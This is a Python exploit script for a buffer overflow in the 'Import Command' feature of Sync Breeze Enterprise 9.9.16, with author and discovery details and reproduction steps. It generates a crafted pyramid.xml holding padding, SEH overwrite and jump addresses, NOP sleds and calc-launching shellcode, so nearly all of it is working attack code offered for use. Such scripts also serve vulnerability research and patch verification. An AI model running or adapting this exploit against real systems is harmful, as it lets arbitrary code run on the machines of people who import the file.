#!/usr/bin/python # Exploit Title : Sync Breeze Enterprise 9.9.16 - 'Import Command' Buffer Overflow # Discovery by : Anurag Srivastava # Email : anurag.srivastava@pyramidcyber.com # Website : www.pyramidcyber.com # Discovery Date : 21/08/2017 # Software Link : http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.9.16.exe # Tested Version : 9.9.16 # Tested on OS : Windows 7 Ultimate x64bit and Windows 10 Home Edition x64 # Steps to Reproduce: Run the python file to generate pyramid.xml and then open sync breeze software , right click and click on import command . Select pyramid.xml file . import os,struct #offset to eip junk = "A" * (1560) #JMP ESP (QtGui4.dll) jmp1 = struct.pack('<L',0x651bb77a) #NOPS nops = "\x90" #LEA EAX, [ESP+76] esp = "\x8D\x44\x24\x4c" #JMP ESP jmp2 = "\xFF\xE0" #JMP Short nseh = "\x90\x90\xEB\x05" #Jump short 5 #POP POP RET (libspp.dll) seh = struct.pack('<L',0x10015FFE) #CALC.EXE shellcode = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7" # FINAL PAYLOAD evil = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 64 + nseh + seh + nops * 10 + shellcode #FILE file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + evil + '\n</classify>' f = open('pyramid.xml', 'w') f.write(file) f.close()